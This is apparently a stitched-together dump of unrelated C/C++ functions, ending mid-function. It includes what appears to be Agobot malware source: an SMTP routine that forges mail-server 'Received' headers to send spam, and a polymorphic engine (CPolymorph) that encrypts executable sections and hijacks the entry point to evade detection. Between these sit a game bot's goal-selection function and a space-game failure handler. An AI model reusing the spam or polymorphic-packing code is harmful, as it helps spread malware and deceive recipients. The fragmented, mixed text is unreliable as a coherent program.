sVersionHigh.CStr(), sVersionLow2.CStr()); } break; case MTA_TYPE_QMAIL: { CString sPid; sPid.Assign(brandom(1, 65000)); CString sInvokedBy; int iInvokedBy=brandom(1,3); if(iInvokedBy==1) { sInvokedBy.Assign("alias"); } else if(iInvokedBy==2) { sInvokedBy.Assign("network"); } else if(iInvokedBy==3) { sInvokedBy.Assign("uid 0"); } sMTA.Format("qmail %s invoked by %s", sPid.CStr(), sInvokedBy.CStr()); } break; case MTA_TYPE_GAIA: break; case MTA_TYPE_MSSMTPSVC: break; case MTA_TYPE_MSEXCHANGE: break; case MTA_TYPE_HOTMAILWM: break; case MTA_TYPE_WEBMAIL: break; case MTA_TYPE_POSTFIX: break; case MTA_TYPE_SMTPD: break; case MTA_TYPE_LIST_AMIRC: break; default: #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Invalid MTA type selected!\n", this); #endif // DBGCONSOLE Disconnect(); return false; break; } // Generate an ID CString sID=GenerateID(); sSrcID.Assign(sID); // Get local hostname sHost.Assign(g_pMainCtrl->m_cIRC.m_sLocalHost.CStr()); // Send MAIL FROM command sReqBuf.Format("MAIL FROM:<%s>\r\n", sMailFrom.CStr()); m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength()); // Receive reply m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192); if(sRecvBuf.Mid(0, 3).Compare("250")) { // MAIL FROM failed #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Server rejected MAIL FROM \"%s\" (\"%s\")!\n", this, sMailFrom.CStr(), sRecvBuf.Token(0, "\r").CStr()); #endif // DBGCONSOLE Disconnect(); return false; } // Send RCPT TO command sReqBuf.Format("RCPT TO:<%s>\r\n", sRcptTo.CStr()); m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength()); // Receive reply m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192); if(sRecvBuf.Mid(0, 3).Compare("250")) { // RCPT TO failed #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Server rejected RCTP TO \"%s\" (\"%s\")!\n", this, sRcptTo.CStr(), sRecvBuf.Token(0, "\r").CStr()); #endif // DBGCONSOLE Disconnect(); return false; } // Send DATA command sReqBuf.Format("DATA\r\n"); m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength()); // Receive reply m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192); if(sRecvBuf.Mid(0, 3).Compare("354")) { // DATA failed #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Server rejected DATA (\"%s\")!\n", this, sRecvBuf.Token(0, "\r").CStr()); #endif // DBGCONSOLE Disconnect(); return false; } // Get local time time_t tGlobal=time(NULL); char szTimeBuf[4096]; strftime(szTimeBuf, sizeof(szTimeBuf), "%a, %d %b %Y %H:%M:%S GMT", gmtime(&tGlobal)); // Clear buffer sReqBuf.Assign(""); switch(m_iMTAType) { case MTA_TYPE_UNKNOWN: sReqBuf.Append("Received: from "); sReqBuf.Append(sMailFrom.Token(0, "@").CStr()); sReqBuf.Append(" by "); sReqBuf.Append(sHost.CStr()); sReqBuf.Append(" with local\r\n"); if(m_bUseSMTPExt) { // id 1AOkjD-0001RE-00 sReqBuf.Append("\tid "); sReqBuf.Append(sSrcID.Mid(1)); sReqBuf.Append("\r\n"); // for <*****@*****.**>; Tue, 25 Nov 2003 22:28:12 +0100 sReqBuf.Append("\tfor <"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">; "); sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n"); // Message-Id: <*****@*****.**> sReqBuf.Append("Message-Id: <"); sReqBuf.Append(sSrcID.CStr()); sReqBuf.Append("@"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">\r\n"); } break; case MTA_TYPE_EXIM: // Received: from xxxx by xxxxx.xxxxxxx.xxx with local (Exim 3.36 #1 (Debian)) sReqBuf.Append("Received: from "); sReqBuf.Append(sMailFrom.Token(0, "@").CStr()); sReqBuf.Append(" by "); sReqBuf.Append(sHost.CStr()); sReqBuf.Append(" with local ("); sReqBuf.Append(sMTA.CStr()); sReqBuf.Append(")\r\n"); if(m_bUseSMTPExt) { // id 1AOkjD-0001RE-00 sReqBuf.Append("\tid "); sReqBuf.Append(sSrcID.Mid(1)); sReqBuf.Append("\r\n"); // for <*****@*****.**>; Tue, 25 Nov 2003 22:28:12 +0100 sReqBuf.Append("\tfor <"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">; "); sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n"); // Message-Id: <*****@*****.**> sReqBuf.Append("Message-Id: <"); sReqBuf.Append(sSrcID.CStr()); sReqBuf.Append("@"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">\r\n"); } break; case MTA_TYPE_SENDMAIL: // Received: from xxxx by xxxx.xxxxxxx.xxx (8.12.8p1/8.12.6) with local sReqBuf.Append("Received: from "); sReqBuf.Append(sMailFrom.Token(0, "@").CStr()); sReqBuf.Append(" by "); sReqBuf.Append(sHost.CStr()); sReqBuf.Append("(8."); sReqBuf.Append(sMTA.CStr()); sReqBuf.Append(") with local\r\n"); if(m_bUseSMTPExt) { // id 1AOkjD-0001RE-00 sReqBuf.Append("\tid "); sReqBuf.Append(sSrcID.Mid(1)); sReqBuf.Append("\r\n"); // for <*****@*****.**>; Tue, 25 Nov 2003 22:28:12 +0100 sReqBuf.Append("\tfor <"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">; "); sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n"); // Message-Id: <*****@*****.**> sReqBuf.Append("Message-Id: <"); sReqBuf.Append(sSrcID.CStr()); sReqBuf.Append("@"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">\r\n"); } break; case MTA_TYPE_QMAIL: // Received: (qmail 21608 invoked by alias); 17 Jul 2002 14:30:10 -0000 sReqBuf.Append("Received: ("); sReqBuf.Append(sMTA.CStr()); sReqBuf.Append("); "); sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n"); break; case MTA_TYPE_GAIA: break; case MTA_TYPE_MSSMTPSVC: break; case MTA_TYPE_MSEXCHANGE: break; case MTA_TYPE_HOTMAILWM: break; case MTA_TYPE_WEBMAIL: break; case MTA_TYPE_POSTFIX: break; case MTA_TYPE_SMTPD: break; case MTA_TYPE_LIST_AMIRC: break; } // From: xxxx <*****@*****.**> sReqBuf.Append("From: "); sReqBuf.Append(sMailFromFull.CStr()); sReqBuf.Append(" <"); sReqBuf.Append(sMailFrom.CStr()); sReqBuf.Append(">\r\n"); // To: [email protected] sReqBuf.Append("To: "); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append("\r\n"); // Subject: bla sReqBuf.Append("Subject: "); sReqBuf.Append(sSubject.CStr()); sReqBuf.Append("\r\n"); // Date: Tue, 25 Nov 2003 22:28:12 +0100 sReqBuf.Append("Date: "); sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n"); // MIME-Version: 1.0 sReqBuf.Append("MIME-Version: 1.0\r\n"); // if(g_cSMTPLogic.spam_htmlemail.bValue) { // Content-Type: text/html; charset=us-ascii sReqBuf.Append("Content-Type: text/html; charset=us-ascii\r\n"); // } else { // // Content-Type: text/plain; charset=us-ascii // sReqBuf.Append("Content-Type: text/plain; charset=us-ascii\r\n"); // } sReqBuf.Append("Content-Type: text/html; charset=us-ascii\r\n"); // Content-Transfer-Encoding: 7bit sReqBuf.Append("Content-Transfer-Encoding: 7bit\r\n"); // // <data> // . // if(g_cSMTPLogic.spam_htmlemail.bValue) { sReqBuf.Append("\r\n\r\n"); // } else { // sReqBuf.Append("\r\n"); // } sReqBuf.Append("\r\n\r\n"); sReqBuf.Append(sData.CStr()); sReqBuf.Append("\r\n.\r\n"); // Send data m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength()); // Receive reply if(!m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192)) { // Connection reset #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Connection reset!\n", this); #endif // DBGCONSOLE Disconnect(); return false; } // Check if data was accepted if(sRecvBuf.Mid(0, 3).Compare("250")) { // Data not accepted #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Server rejected MAIL FROM \"%s\", RCPT TO \"%s\"!\n", this, sMailFrom.CStr(), sRcptTo.CStr()); #endif // DBGCONSOLE Disconnect(); return false; } return true; }
// // BuildEncoder // Setup a new encoder in the memory given as parameter // void CPolymorph::BuildEncoder(char *szSectionData, int iSectionSize, DWORD dwOffset, DWORD dwOffsetCode, DWORD dwCodeSize, DWORD dwOffsetData, DWORD dwDataSize, DWORD dwEntryPoint, unsigned long lKey, unsigned long lType) { // Clear the section and copy the encoder into it memset(szSectionData, 0, iSectionSize ); memcpy(szSectionData, agoenc, sizeof(agoenc)-1 ); switch(lType) { case POLY_TYPE_XOR: { int iXORLoopNum=brandom(1,3); switch(iXORLoopNum) { case 1: #ifdef DBGCONSOLE AddLog(" - XOR decoder: xorloop\n"); #endif // _DEBUG memcpy(szSectionData+ENC_OFFSET_DECODER, xorloop, sizeof(xorloop)-1 ); memcpy(szSectionData+ENC_OFFSET_DECODER_DATA, xorloop, sizeof(xorloop)-1 ); break; case 2: #ifdef DBGCONSOLE AddLog(" - XOR decoder: xorloop2\n"); #endif // _DEBUG memcpy(szSectionData+ENC_OFFSET_DECODER, xorloop2, sizeof(xorloop2)-1 ); memcpy(szSectionData+ENC_OFFSET_DECODER_DATA, xorloop2, sizeof(xorloop2)-1 ); break; case 3: #ifdef DBGCONSOLE AddLog(" - XOR decoder: xorloop3\n"); #endif // _DEBUG memcpy(szSectionData+ENC_OFFSET_DECODER, xorloop3, sizeof(xorloop3)-1 ); memcpy(szSectionData+ENC_OFFSET_DECODER_DATA, xorloop3, sizeof(xorloop3)-1 ); break; default: break; } } break; case POLY_TYPE_SWAP: #ifdef DBGCONSOLE AddLog(" - Swap decoder: swaploop\n"); #endif // _DEBUG memcpy(szSectionData+ENC_OFFSET_DECODER, swaploop, sizeof(swaploop)-1 ); memcpy(szSectionData+ENC_OFFSET_DECODER_DATA, swaploop, sizeof(swaploop)-1 ); break; case POLY_TYPE_ROR: #ifdef DBGCONSOLE AddLog(" - ROR decoder: rolloop\n"); #endif // _DEBUG memcpy(szSectionData+ENC_OFFSET_DECODER, rolloop, sizeof(rolloop)-1 ); memcpy(szSectionData+ENC_OFFSET_DECODER_DATA, rolloop, sizeof(rolloop)-1 ); break; case POLY_TYPE_ROL: #ifdef DBGCONSOLE AddLog(" - ROL decoder: rorloop\n"); #endif // _DEBUG memcpy(szSectionData+ENC_OFFSET_DECODER, rorloop, sizeof(rorloop)-1 ); memcpy(szSectionData+ENC_OFFSET_DECODER_DATA, rorloop, sizeof(rorloop)-1 ); break; default: break; }; // dwDataSize+=0x1000; // FIXME: Bad Hack // Configure the encoder memcpy(szSectionData+ENC_OFFSET_OFFSET, &dwOffset, sizeof(unsigned long)); memcpy(szSectionData+ENC_OFFSET_OFFSET_CODE, &dwOffsetCode, sizeof(unsigned long)); memcpy(szSectionData+ENC_OFFSET_CODE_SIZE, &dwCodeSize, sizeof(unsigned long)); memcpy(szSectionData+ENC_OFFSET_OFFSET_DATA, &dwOffsetData, sizeof(unsigned long)); memcpy(szSectionData+ENC_OFFSET_DATA_SIZE, &dwDataSize, sizeof(unsigned long)); memcpy(szSectionData+ENC_OFFSET_KEY, &lKey, sizeof(unsigned long)); memcpy(szSectionData+ENC_OFFSET_ENTRYPOINT, &dwEntryPoint, sizeof(unsigned long)); memcpy(szSectionData+ENC_OFFSET_TYPE, &lType, sizeof(unsigned long)); }
void CSMTP_Connection::Init() { // Disconnect if connected and reset values Disconnect(); m_sServerSocket=SOCKET_ERROR; m_bUseSMTPExt=false; m_iMTAType=brandom(MTA_TYPE_UNKNOWN, MTA_TYPE_QMAIL); }
//========================================== // AI_PickLongRangeGoal // // Evaluate the best long range goal and send the bot on // its way. This is a good time waster, so use it sparingly. // Do not call it for every think cycle. // // jal: I don't think there is any problem by calling it, // now that we have stored the costs at the nav.costs table (I don't do it anyway) //========================================== void AI_PickLongRangeGoal( edict_t *self ) { #define WEIGHT_MAXDISTANCE_FACTOR 20000.0f #define COST_INFLUENCE 0.5f int i; float weight, bestWeight = 0.0; int current_node; float cost; float dist; nav_ents_t *goalEnt, *bestGoalEnt = NULL; AI_ClearGoal( self ); if( G_ISGHOSTING( self ) ) return; if( self->ai->longRangeGoalTimeout > level.time ) return; if( !self->r.client->ps.pmove.stats[PM_STAT_MAXSPEED] ) { return; } self->ai->longRangeGoalTimeout = level.time + AI_LONG_RANGE_GOAL_DELAY + brandom( 0, 1000 ); // look for a target current_node = AI_FindClosestReachableNode( self->s.origin, self, ( ( 1 + self->ai->nearest_node_tries ) * NODE_DENSITY ), NODE_ALL ); self->ai->current_node = current_node; if( current_node == NODE_INVALID ) { if( nav.debugMode && bot_showlrgoal->integer ) G_PrintChasersf( self, "%s: LRGOAL: Closest node not found. Tries:%i\n", self->ai->pers.netname, self->ai->nearest_node_tries ); self->ai->nearest_node_tries++; // extend search radius with each try return; } self->ai->nearest_node_tries = 0; // Run the list of potential goal entities FOREACH_GOALENT( goalEnt ) { i = goalEnt->id; if( !goalEnt->ent ) continue; if( !goalEnt->ent->r.inuse ) { goalEnt->node = NODE_INVALID; continue; } if( goalEnt->ent->r.client ) { if( G_ISGHOSTING( goalEnt->ent ) || goalEnt->ent->flags & (FL_NOTARGET|FL_BUSY) ) goalEnt->node = NODE_INVALID; else goalEnt->node = AI_FindClosestReachableNode( goalEnt->ent->s.origin, goalEnt->ent, NODE_DENSITY, NODE_ALL ); } if( goalEnt->ent->item ) { if( !G_Gametype_CanPickUpItem( goalEnt->ent->item ) ) continue; } if( goalEnt->node == NODE_INVALID ) continue; weight = self->ai->status.entityWeights[i]; if( weight <= 0.0f ) continue; // don't try to find cost for too far away objects dist = DistanceFast( self->s.origin, goalEnt->ent->s.origin ); if( dist > WEIGHT_MAXDISTANCE_FACTOR * weight/* || dist < AI_GOAL_SR_RADIUS*/ ) continue; cost = AI_FindCost( current_node, goalEnt->node, self->ai->status.moveTypesMask ); if( cost == NODE_INVALID ) continue; cost -= brandom( 0, 2000 ); // allow random variations clamp_low( cost, 1 ); weight = ( 1000 * weight ) / ( cost * COST_INFLUENCE ); // Check against cost of getting there if( weight > bestWeight ) { bestWeight = weight; bestGoalEnt = goalEnt; } } if( bestGoalEnt ) { self->ai->goalEnt = bestGoalEnt; AI_SetGoal( self, bestGoalEnt->node ); if( self->ai->goalEnt != NULL && nav.debugMode && bot_showlrgoal->integer ) G_PrintChasersf( self, "%s: selected a %s at node %d for LR goal. (weight %f)\n", self->ai->pers.netname, self->ai->goalEnt->ent->classname, self->ai->goalEnt->node, bestWeight ); return; } if( nav.debugMode && bot_showlrgoal->integer ) G_PrintChasersf( self, "%s: did not find a LR goal.\n", self->ai->pers.netname ); #undef WEIGHT_MAXDISTANCE_FACTOR #undef COST_INFLUENCE }
bool CPolymorph::DoPolymorph(const char *szFile, const char *szOutFile) { // Map the file into memory char *szBuffer; if(!MapFile(szFile, &szBuffer)) return false; #ifdef DBGCONSOLE AddLog("Polymorphing file \"%s\" to \"%s\"...\n", szFile, szOutFile); #endif // DBGCONSOLE // Get and check the DOS header IMAGE_DOS_HEADER *iDosHeader=(IMAGE_DOS_HEADER*)szBuffer; if(iDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) { UnmapFile(); return false; } // Get and check the PE header char *pTemp=(char*)iDosHeader+iDosHeader->e_lfanew; DWORD *dwSignature=(DWORD*)pTemp; pTemp+=sizeof(DWORD); if(*dwSignature!=IMAGE_NT_SIGNATURE) { UnmapFile(); return false; } // Get the rest of the headers IMAGE_FILE_HEADER *iFileHead=(IMAGE_FILE_HEADER*)pTemp; pTemp+=sizeof(IMAGE_FILE_HEADER); IMAGE_OPTIONAL_HEADER *iOptHead=(IMAGE_OPTIONAL_HEADER*)pTemp; pTemp+=sizeof(IMAGE_OPTIONAL_HEADER); IMAGE_SECTION_HEADER *iSectHead=(IMAGE_SECTION_HEADER*)pTemp; // Get the size of the encoder int iEncoderSize=sizeof(agoenc); #ifdef DBGCONSOLE AddLog(" - sizeof Encoder: 0x%8.8X\n", iEncoderSize); #endif // DBGCONSOLE // Loop through the section headers int iSection; IMAGE_SECTION_HEADER *iSectPtr, *iSectEnc=NULL, *iSectCode=NULL, *iSectData=NULL; for(iSection=0, iSectPtr=iSectHead; iSection<iFileHead->NumberOfSections; iSection++, iSectPtr++) { // Check if its g_szSectionName (the internal section where // the encoder is stored). if(strstr((char*)iSectPtr->Name, g_szSectionName)) { // Store encoder in this section if(iSectPtr->SizeOfRawData >= iEncoderSize) iSectEnc=iSectPtr; } // Check if its the code section if(strstr((char*)iSectPtr->Name, ".text")) { // Mark this as the code section iSectCode=iSectPtr; } // Check if its the data section if(strstr((char*)iSectPtr->Name, ".data")) { // Mark this as the data section iSectData=iSectPtr; } } #ifdef DBGCONSOLE AddLog(" - Encoder section: 0x%8.8X\n", iSectEnc); AddLog(" - Code section: 0x%8.8X\n", iSectCode); AddLog(" - Data section: 0x%8.8X\n", iSectData); #endif // DBGCONSOLE // The .exe file is already encrypted while(iFileHead->TimeDateStamp==0xFFFFFFFF) { #ifdef DBGCONSOLE AddLog(" - File is already encryped, decrypting...\n"); #endif // DBGCONSOLE // Get values out of the header char *pSectionData=(char*)szBuffer+iSectEnc->PointerToRawData; int iSectionSize=iSectEnc->SizeOfRawData; // Get the key unsigned long lKey, lType, lEntry; memcpy(&lKey, szBuffer+iSectEnc->PointerToRawData+ENC_OFFSET_KEY, sizeof(unsigned long)); memcpy(&lType, szBuffer+iSectEnc->PointerToRawData+ENC_OFFSET_TYPE, sizeof(unsigned long)); memcpy(&lEntry, szBuffer+iSectEnc->PointerToRawData+ENC_OFFSET_ENTRYPOINT, sizeof(unsigned long)); // Allocate memory for the new section data char *pNewSectionData=(char*)malloc(iSectionSize+1); if(!pNewSectionData) break; // DeXOR the code section unsigned char *pCodeData= (unsigned char*)szBuffer+iSectCode->PointerToRawData; switch(lType) { case POLY_TYPE_XOR: { // XOR to decrypt for(int i=0;i<iSectCode->SizeOfRawData;i+=4) *(unsigned long*)(pCodeData+i)^=lKey; } break; case POLY_TYPE_SWAP: { // SWAP to decrypt for(int i=0;i<iSectCode->SizeOfRawData;i+=4) { unsigned short word1=*(unsigned short*)(pCodeData+i); unsigned short word2=*(unsigned short*)(pCodeData+i+2); *(unsigned short*)(pCodeData+i)=word2; *(unsigned short*)(pCodeData+i+2)=word1; } } break; case POLY_TYPE_ROR: { // ROL to decrypt for(int i=0;i<iSectCode->SizeOfRawData;i+=4) { unsigned long lInput=*(unsigned long*)(pCodeData+i); *(unsigned long*)(pCodeData+i)=(lInput<<1)|(lInput>>31); } } break; case POLY_TYPE_ROL: { // ROR to decrypt for(int i=0;i<iSectCode->SizeOfRawData;i+=4) { unsigned long lInput=*(unsigned long*)(pCodeData+i); *(unsigned long*)(pCodeData+i)=(lInput>>1)|(lInput<<31); } } break; default: break; }; // DeXOR the data section unsigned char *pDataData= (unsigned char*)szBuffer+iSectData->PointerToRawData; switch(lType) { case POLY_TYPE_XOR: { // XOR to decrypt for(int i=0;i<iSectData->SizeOfRawData;i+=4) *(unsigned long*)(pDataData+i)^=lKey; } break; case POLY_TYPE_SWAP: { // SWAP to decrypt for(int i=0;i<iSectData->SizeOfRawData;i+=4) { unsigned short word1=*(unsigned short*)(pDataData+i); unsigned short word2=*(unsigned short*)(pDataData+i+2); *(unsigned short*)(pDataData+i)=word2; *(unsigned short*)(pDataData+i+2)=word1; } } break; case POLY_TYPE_ROR: { // ROL to decrypt for(int i=0;i<iSectData->SizeOfRawData;i+=4) { unsigned long lInput=*(unsigned long*)(pDataData+i); *(unsigned long*)(pDataData+i)=(lInput<<1)|(lInput>>31); } } break; case POLY_TYPE_ROL: { // ROR to decrypt for(int i=0;i<iSectData->SizeOfRawData;i+=4) { unsigned long lInput=*(unsigned long*)(pDataData+i); *(unsigned long*)(pDataData+i)=(lInput>>1)|(lInput<<31); } } break; default: break; }; // Set the entry point to the old entry memcpy(&iOptHead->AddressOfEntryPoint, &lEntry, sizeof(lEntry)); // Copy the section data into the image memcpy(pSectionData, pNewSectionData, iSectionSize); free(pNewSectionData); break; } // Found an encoder-suitable section while(iSectEnc && iSectCode && iSectData) { // Get values out of the header char *pSectionData=(char*)szBuffer+iSectEnc->PointerToRawData; int iSectionSize=iSectEnc->SizeOfRawData; // Get a key init_random(); unsigned long lKey; *((char*)&lKey+0)=brandom(1,254); *((char*)&lKey+1)=brandom(1,254); *((char*)&lKey+2)=brandom(1,254); *((char*)&lKey+3)=brandom(1,254); #ifdef DBGCONSOLE AddLog(" - Encryption key: 0x%8.8X...\n", lKey); #endif // DBGCONSOLE // Get a type unsigned long lType=brandom(1,POLY_NUM_TYPES); // Set some marker for encryption detection later iFileHead->TimeDateStamp=0xFFFFFFFF; // Allocate memory for the new section data char *pNewSectionData=(char*)malloc(iSectionSize+1); if(!pNewSectionData) break; // Build an encoder in the section data BuildEncoder(pNewSectionData, iSectionSize, iSectEnc->VirtualAddress, \ iSectCode->VirtualAddress, iSectCode->SizeOfRawData, \ iSectData->VirtualAddress, iSectData->SizeOfRawData, \ iOptHead->AddressOfEntryPoint, lKey, lType); // Set the entry point to the virtual address of the encoder section memcpy(&iOptHead->AddressOfEntryPoint, &iSectEnc->VirtualAddress, \ sizeof(iSectEnc->VirtualAddress)); // Make the encoder section readable, writable, executable, // and containing code iSectEnc->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE; // Make the code section readable, writable, executable, // and containing code iSectCode->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE; // Make the data section readable, writable and containing inited data iSectData->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_INITIALIZED_DATA; // XOR the code section unsigned char *pCodeData= (unsigned char*)szBuffer+iSectCode->PointerToRawData; switch(lType) { case POLY_TYPE_XOR: { #ifdef DBGCONSOLE AddLog(" - Code: Using XOR encoding...\n", lKey); #endif // DBGCONSOLE // XOR to encrypt for(int i=0;i<iSectCode->SizeOfRawData;i+=4) *(unsigned long*)(pCodeData+i)^=lKey; } break; case POLY_TYPE_SWAP: { #ifdef DBGCONSOLE AddLog(" - Code: Using Word swap encoding...\n", lKey); #endif // DBGCONSOLE // SWAP to encrypt for(int i=0;i<iSectCode->SizeOfRawData;i+=4) { unsigned short word1=*(unsigned short*)(pCodeData+i); unsigned short word2=*(unsigned short*)(pCodeData+i+2); *(unsigned short*)(pCodeData+i)=word2; *(unsigned short*)(pCodeData+i+2)=word1; } } break; case POLY_TYPE_ROR: { #ifdef DBGCONSOLE AddLog(" - Code: Using bitwise right rotate encoding...\n", lKey); #endif // DBGCONSOLE // ROR to encrypt for(int i=0;i<iSectCode->SizeOfRawData;i+=4) { unsigned long lInput=*(unsigned long*)(pCodeData+i); *(unsigned long*)(pCodeData+i)=(lInput>>1)|(lInput<<31); } } break; case POLY_TYPE_ROL: { #ifdef DBGCONSOLE AddLog(" - Code: Using bitwise left rotate encoding...\n", lKey); #endif // _DEBUG // ROL to encrypt for(int i=0;i<iSectCode->SizeOfRawData;i+=4) { unsigned long lInput=*(unsigned long*)(pCodeData+i); *(unsigned long*)(pCodeData+i)=(lInput<<1)|(lInput>>31); } } break; default: break; }; // XOR the data section unsigned char *pDataData= (unsigned char*)szBuffer+iSectData->PointerToRawData; switch(lType) { case POLY_TYPE_XOR: { #ifdef DBGCONSOLE AddLog(" - Data: Using XOR encoding...\n", lKey); #endif // _DEBUG // XOR to encrypt for(int i=0;i<iSectData->SizeOfRawData;i+=4) *(unsigned long*)(pDataData+i)^=lKey; } break; case POLY_TYPE_SWAP: { #ifdef DBGCONSOLE AddLog(" - Data: Using Word swap encoding...\n", lKey); #endif // _DEBUG // SWAP to encrypt for(int i=0;i<iSectData->SizeOfRawData;i+=4) { unsigned short word1=*(unsigned short*)(pDataData+i); unsigned short word2=*(unsigned short*)(pDataData+i+2); *(unsigned short*)(pDataData+i)=word2; *(unsigned short*)(pDataData+i+2)=word1; } } break; case POLY_TYPE_ROR: { #ifdef DBGCONSOLE AddLog(" - Data: Using bitwise right rotate encoding...\n", lKey); #endif // _DEBUG // ROR to encrypt for(int i=0;i<iSectData->SizeOfRawData;i+=4) { unsigned long lInput=*(unsigned long*)(pDataData+i); *(unsigned long*)(pDataData+i)=(lInput>>1)|(lInput<<31); } } break; case POLY_TYPE_ROL: { #ifdef DBGCONSOLE AddLog(" - Data: Using bitwise left rotate encoding...\n", lKey); #endif // _DEBUG // ROL to encrypt for(int i=0;i<iSectData->SizeOfRawData;i+=4) { unsigned long lInput=*(unsigned long*)(pDataData+i); *(unsigned long*)(pDataData+i)=(lInput<<1)|(lInput>>31); } } break; default: break; }; // Copy the section data into the image memcpy(pSectionData, pNewSectionData, iSectionSize); free(pNewSectionData); break; } // Save the file under a new filename and unmap it SaveFile(szOutFile); UnmapFile(); return true; }
int FailEval(char plr, int type, char *text, int val, int xtra) { int FNote = 0, temp, k, ctr = 0; char PROBLEM = 0; struct Astros *crw; temp = 0; /* XXX check uninitialized */ if (!(strncmp(Mev[STEP].E->Name, "DO", 2) == 0 && Mev[STEP].loc == 0x02)) { Mev[STEP].E->MisFail++; // set failure for all but docking power on } Mev[STEP].StepInfo = 1003; FNote = 5; // Mission Failure if (Unm == 0) { Mev[STEP].trace = 0x7f; if (type == 12) { DestroyPad(plr, MPad + Mev[STEP].pad, 20, 0); } if (!AI[plr]) { FailureMode(plr, FNote, text); } //Special Case for PhotoRecon with Lunar Probe if (Mev[STEP].loc == 20 && mcc == 8) { Mev[STEP - 1].E->MisFail++; } return 0; } Mev[STEP].StepInfo = 0; switch (type) { case 0: // Failure has no effect on Mission case 20: // don't want to test for crew experience FNote = 0; Mev[STEP].StepInfo = 50; if (Mev[STEP].fgoto == -1) { Mev[STEP].trace = 0x7F; } else { Mev[STEP].trace = STEP + 1; } break; case 2: // End of Mission Failure FNote = 5; Mev[STEP].StepInfo = 1000 + Mev[STEP].loc; Mev[STEP].trace = 0x7f; break; case 5: // Stranded Step (temp) case 3: // Kill ALL Crew and END Mission FNote = 8; if (InSpace > 0 && MANNED[Mev[STEP].pad] == 0 && strncmp(Mev[STEP].E->ID, "M2", 2) == 0) { Mev[STEP].pad = other(Mev[STEP].pad); // for Kicker-C problems F_KillCrew(F_ALL, 0); Mev[STEP].pad = other(Mev[STEP].pad); } else { F_KillCrew(F_ALL, 0); } Mev[STEP].StepInfo = 4600 + Mev[STEP].loc; Mev[STEP].trace = 0x7F; break; case 4: // Branch to Alternate Step FNote = 1; Mev[STEP].StepInfo = 1900 + Mev[STEP].loc; if (Mev[STEP].fgoto == -1) { // End of Mission Flag if (Mev[STEP].PComp > 0) { Mev[STEP].PComp = 4; } Mev[STEP].trace = 0x7F; // End of Mission Signal FNote = 5; } else if (Mev[STEP].fgoto != -2) { // Alternate Step is other num if (Mev[STEP].PComp > 0) { Mev[STEP].PComp = 4; } Mev[STEP].trace = Mev[STEP].fgoto; } else { Mev[STEP].trace = STEP + 1; } break; case 6: // Reduce Safety by VAL% temp FNote = 0; Mev[STEP].E->MisSaf -= abs(val); if (Mev[STEP].E->MisSaf <= 0) { Mev[STEP].E->MisSaf = 1; } Mev[STEP].StepInfo = 900 + Mev[STEP].loc; if (Mev[STEP].fgoto == -1 && Unm == 0) { Mev[STEP].trace = 0x7F; } else { Mev[STEP].trace = STEP + 1; } break; case 7: // Reduce Safety by VAL% perm FNote = 0; Mev[STEP].StepInfo = 1700 + Mev[STEP].loc; if (Mev[STEP].fgoto == -1) { Mev[STEP].trace = 0x7F; } else { Mev[STEP].trace = STEP + 1; } break; case 9: // Recheck Step FNote = 2; Mev[STEP].StepInfo = 9; // Mev[STEP].rnum=random(10000)+1; // new failure roll // Mev[STEP].dice=random(100)+1; // new die roll Mev[STEP].trace = STEP; // redo step break; case 12: // Subtract VAL% from Safety, repair Pad for XTRA (launch only) FNote = 5; Mev[STEP].E->MisSaf -= abs(val); if (Mev[STEP].E->MisSaf <= 0) { Mev[STEP].E->MisSaf = 1; } Mev[STEP].StepInfo = 1600 + Mev[STEP].loc; DestroyPad(plr, MPad + Mev[STEP].pad, abs(xtra), 0); // Destroy Pad Mev[STEP].trace = 0x7F; // signal end of mission break; case 13: // Kill Crew, repair Pad for VAL FNote = 8; F_KillCrew(F_ALL, 0); DestroyPad(plr, Mev[STEP].pad + MPad, (val == 0) ? abs(xtra) : abs(val), 0); // Destroy Pad Mev[STEP].StepInfo = 4500 + Mev[STEP].loc; Mev[STEP].trace = 0x7F; break; case 15: // Give option to Scrub 1%->20% negative of part FNote = 3; Mev[STEP].E->MisSaf -= brandom(20) + 1; if (Mev[STEP].E->MisSaf <= 0) { Mev[STEP].E->MisSaf = 1; } Mev[STEP].StepInfo = 15; break; case 16: // VAL% injury, XTRA% death FNote = 0; Mev[STEP].StepInfo = 1100 + Mev[STEP].loc; for (k = 0; 